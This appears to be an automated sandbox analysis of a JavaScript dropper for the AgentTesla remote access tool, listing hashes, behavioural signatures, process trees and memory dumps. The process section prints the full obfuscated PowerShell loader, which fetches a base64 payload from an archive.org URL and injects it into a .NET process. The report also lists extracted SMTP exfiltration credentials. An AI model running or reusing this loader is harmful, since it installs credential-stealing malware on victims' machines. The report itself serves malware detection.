Analysis

  • max time kernel
    112s
  • max time network
    203s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-09-2024 06:51

General

  • Target

    TECHNICAL SHEET.js

  • Size

    601KB

  • MD5

    1209aa3c1e362933feb8865c34f2a4ee

  • SHA1

    91d4969e93f600480f20399fc2343448dadd8526

  • SHA256

    5887f2482c2d989943b76bb2c63d4809e019e6a993e60b66d776132503658f7d

  • SHA512

    4ee970984f0550f75b6f56102181a439f8428735c3ea3b0716d3fdbb1c60fa4e5a8350aa45f544e1a8cf368597819949df67c56657e5594561b86a941236b695

  • SSDEEP

    12288:HZhY3S3w+Z45JZ+3fUqHwiPAlpIyvvQ54UBPOX8a1Gepxfa+rjuCi5oKjXdbdOv1:fYi3PGLx3USi5UwwB

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.detarcoopmedical.com
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    To$zL%?nhDHN

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\TECHNICAL SHEET.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2516
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAIAAkAEUATgB2ADoAQwBvAG0AcwBQAEUAQwBbADQALAAyADYALAAyADUAXQAtAGoAbwBpAE4AJwAnACkAIAAoACgAKAAnAEsAZAA4AHUAcgAnACsAJwBsACAAPQAgAGYAZwA4AGgAdAB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBpAGEAOQAwADQANgAwADEALgB1AHMALgBhACcAKwAnAHIAYwBoACcAKwAnAGkAdgBlAC4AbwByAGcALwAnACsAJwA2AC8AaQB0AGUAbQAnACsAJwBzAC8AZABlAHQAYQBoACcAKwAnAC0AbgBvAHQAZQAnACsAJwAtAGoALwAnACsAJwBEAGUAdABhAGgAJwArACcATgBvAHQAJwArACcAZQAnACsAJwBKAC4AdAB4AHQAZgAnACsAJwBnADgAOwBLAGQAOABiAGEAJwArACcAcwBlADYAJwArACcANABDAG8AbgB0AGUAbgB0ACAAPQAgACgATgBlAHcALQBPAGIAagBlACcAKwAnAGMAdAAnACsAJwAgACcAKwAnAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAJwArACcAYgBDACcAKwAnAGwAaQAnACsAJwBlAG4AdAApAC4ARABvAHcAbgBsACcAKwAnAG8AYQBkAFMAdAByAGkAbgBnACgAJwArACcASwAnACsAJwBkADgAdQByAGwAJwArACcAKQA7AEsAJwArACcAZAA4ACcAKwAnAGIAJwArACcAaQAnACsAJwBuACcAKwAnAGEAJwArACcAcgB5ACcAKwAnAEMAbwBuAHQAZQBuAHQAIAA9ACcAKwAnACAAJwArACcAWwBTAHkAJwArACcAcwB0AGUAbQAnACsAJwAuAEMAJwArACcAbwAnACsAJwBuAHYAZQByAHQAXQA6ACcAKwAnADoAJwArACcARgByAG8AbQBCACcAKwAnAGEAcwBlADYANABTAHQAcgBpAG4AJwArACcAZwAoAEsAZAA4AGIAYQBzACcAKwAnAGUAJwArACcANgA0AEMAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQAKQAnACsAJwA7AEsAZAA4AGEAcwBzAGUAbQBiAGwAeQAnACsAJwAgAD0AIABbAFIAJwArACcAZQBmAGwAJwArACcAZQAnACsAJwBjAHQAJwArACcAaQBvAG4AJwArACcALgAnACsAJwBBAHMAcwBlAG0AYgBsAHkAXQA6ACcAKwAnADoAJwArACcATABvACcAKwAnAGEAZAAnACsAJwAoAEsAZAA4AGIAaQBuAGEAcgB5AEMAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQA7AEsAZAA4ACcAKwAnAHQAeQBwAGUAJwArACcAIAA9ACcAKwAnACAASwBkADgAYQBzAHMAJwArACcAZQBtAGIAJwArACcAbAB5AC4ARwBlACcAKwAnAHQAVAB5AHAAZQAoAGYAZwA4AFIAdQBuAFAAJwArACcARQAnACsAJwAuAEgAbwAnACsAJwBtAGUAJwArACcAZgBnADgAKQA7ACcAKwAnAEsAZAA4AG0AZQB0AGgAJwArACcAbwBkACAAPQAgAEsAZAA4AHQAeQAnACsAJwBwAGUAJwArACcALgBHAGUAdABNAGUAdABoACcAKwAnAG8AJwArACcAZAAoACcAKwAnAGYAJwArACcAZwAnACsAJwA4AFYAQQBJAGYAZwA4ACkAOwBLACcAKwAnAGQAOABtAGUAdABoAG8AZAAuAEkAbgAnACsAJwB2AG8AawAnACsAJwBlACgAJwArACcASwBkADgAbgB1AGwAbAAsACAAJwArACcAWwBvACcAKwAnAGIAagBlACcAKwAnAGMAdABbAF0AXQBAACgAZgBnADgAdAB4ACcAKwAnAHQAJwArACcALgBhACcAKwAnAG0AaQBhAGsALwB2AGUAZAAuADIAcgAuADMAOQBiADMANAA1ADMAMAAyAGEAMAA3ADUAYgAxAGIAYwAwAGQANAAnACsAJwA1AGIAJwArACcANgAzADIAJwArACcAZQBiADkAZQBlACcAKwAnADYAMgAnACsAJwAtAGIAJwArACcAdQBwACcAKwAnAC8ALwA6AHMAcAB0AHQAaABmACcAKwAnAGcAOAAnACsAJwAgACwAIAAnACsAJwBmAGcAOABkACcAKwAnAGUAcwAnACsAJwBhAHQAaQB2AGEAJwArACcAZAAnACsAJwBvAGYAZwA4ACcAKwAnACAALAAgACcAKwAnAGYAZwA4AGQAZQAnACsAJwBzACcAKwAnAGEAdAAnACsAJwBpAHYAYQBkAG8AJwArACcAZgBnADgAIAAsACAAZgBnADgAJwArACcAZAAnACsAJwBlAHMAYQB0AGkAdgBhAGQAbwBmAGcAJwArACcAOAAsAGYAZwAnACsAJwA4ACcAKwAnAEEAZABkAEkAJwArACcAbgAnACsAJwBQACcAKwAnAHIAJwArACcAbwBjAGUAcwBzACcAKwAnADMAMgBmAGcAOAAsAGYAZwA4ACcAKwAnAGQAZQBzAGEAdAAnACsAJwBpAHYAYQAnACsAJwBkAG8AZgBnADgAKQApADsAJwApAC0AcgBFAHAATABhAEMAZQAgACAAKABbAEMAaABBAFIAXQAxADAAMgArAFsAQwBoAEEAUgBdADEAMAAzACsAWwBDAGgAQQBSAF0ANQA2ACkALABbAEMAaABBAFIAXQAzADkALQBjAHIAZQBQAGwAQQBDAEUAIAAgACcASwBkADgAJwAsAFsAQwBoAEEAUgBdADMANgApACAAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENv:ComsPEC[4,26,25]-joiN'') ((('Kd8ur'+'l = fg8htt'+'ps:/'+'/ia904601.us.a'+'rch'+'ive.org/'+'6/item'+'s/detah'+'-note'+'-j/'+'Detah'+'Not'+'e'+'J.txtf'+'g8;Kd8ba'+'se6'+'4Content = (New-Obje'+'ct'+' '+'System.Net.We'+'bC'+'li'+'ent).Downl'+'oadString('+'K'+'d8url'+');K'+'d8'+'b'+'i'+'n'+'a'+'ry'+'Content ='+' '+'[Sy'+'stem'+'.C'+'o'+'nvert]:'+':'+'FromB'+'ase64Strin'+'g(Kd8bas'+'e'+'64Co'+'nten'+'t)'+';Kd8assembly'+' = [R'+'efl'+'e'+'ct'+'ion'+'.'+'Assembly]:'+':'+'Lo'+'ad'+'(Kd8binaryCon'+'te'+'nt);Kd8'+'type'+' ='+' Kd8ass'+'emb'+'ly.Ge'+'tType(fg8RunP'+'E'+'.Ho'+'me'+'fg8);'+'Kd8meth'+'od = Kd8ty'+'pe'+'.GetMeth'+'o'+'d('+'f'+'g'+'8VAIfg8);K'+'d8method.In'+'vok'+'e('+'Kd8null, '+'[o'+'bje'+'ct[]]@(fg8tx'+'t'+'.a'+'miak/ved.2r.39b345302a075b1bc0d4'+'5b'+'632'+'eb9ee'+'62'+'-b'+'up'+'//:sptthf'+'g8'+' , '+'fg8d'+'es'+'ativa'+'d'+'ofg8'+' , '+'fg8de'+'s'+'at'+'ivado'+'fg8 , fg8'+'d'+'esativadofg'+'8,fg'+'8'+'AddI'+'n'+'P'+'r'+'ocess'+'32fg8,fg8'+'desat'+'iva'+'dofg8));')-rEpLaCe ([ChAR]102+[ChAR]103+[ChAR]56),[ChAR]39-crePlACE 'Kd8',[ChAR]36) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:372

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    f41839a3fe2888c8b3050197bc9a0a05

    SHA1

    0798941aaf7a53a11ea9ed589752890aee069729

    SHA256

    224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

    SHA512

    2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    1a11402783a8686e08f8fa987dd07bca

    SHA1

    580df3865059f4e2d8be10644590317336d146ce

    SHA256

    9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

    SHA512

    5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xnx55vmi.lvl.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/372-32-0x0000000005800000-0x0000000005866000-memory.dmp

    Filesize

    408KB

  • memory/372-33-0x0000000006D50000-0x0000000006DA0000-memory.dmp

    Filesize

    320KB

  • memory/372-36-0x0000000007050000-0x000000000705A000-memory.dmp

    Filesize

    40KB

  • memory/372-35-0x0000000007080000-0x0000000007112000-memory.dmp

    Filesize

    584KB

  • memory/372-24-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

  • memory/372-34-0x0000000006E40000-0x0000000006EDC000-memory.dmp

    Filesize

    624KB

  • memory/372-31-0x0000000005E40000-0x00000000063E4000-memory.dmp

    Filesize

    5.6MB

  • memory/1512-22-0x0000020343350000-0x000002034355C000-memory.dmp

    Filesize

    2.0MB

  • memory/2964-30-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2964-1-0x000001F3FFFA0000-0x000001F3FFFC2000-memory.dmp

    Filesize

    136KB

  • memory/2964-0-0x00007FFE70903000-0x00007FFE70905000-memory.dmp

    Filesize

    8KB

  • memory/2964-12-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2964-11-0x00007FFE70900000-0x00007FFE713C1000-memory.dmp

    Filesize

    10.8MB

  • memory/2964-23-0x00007FFE70903000-0x00007FFE70905000-memory.dmp

    Filesize

    8KB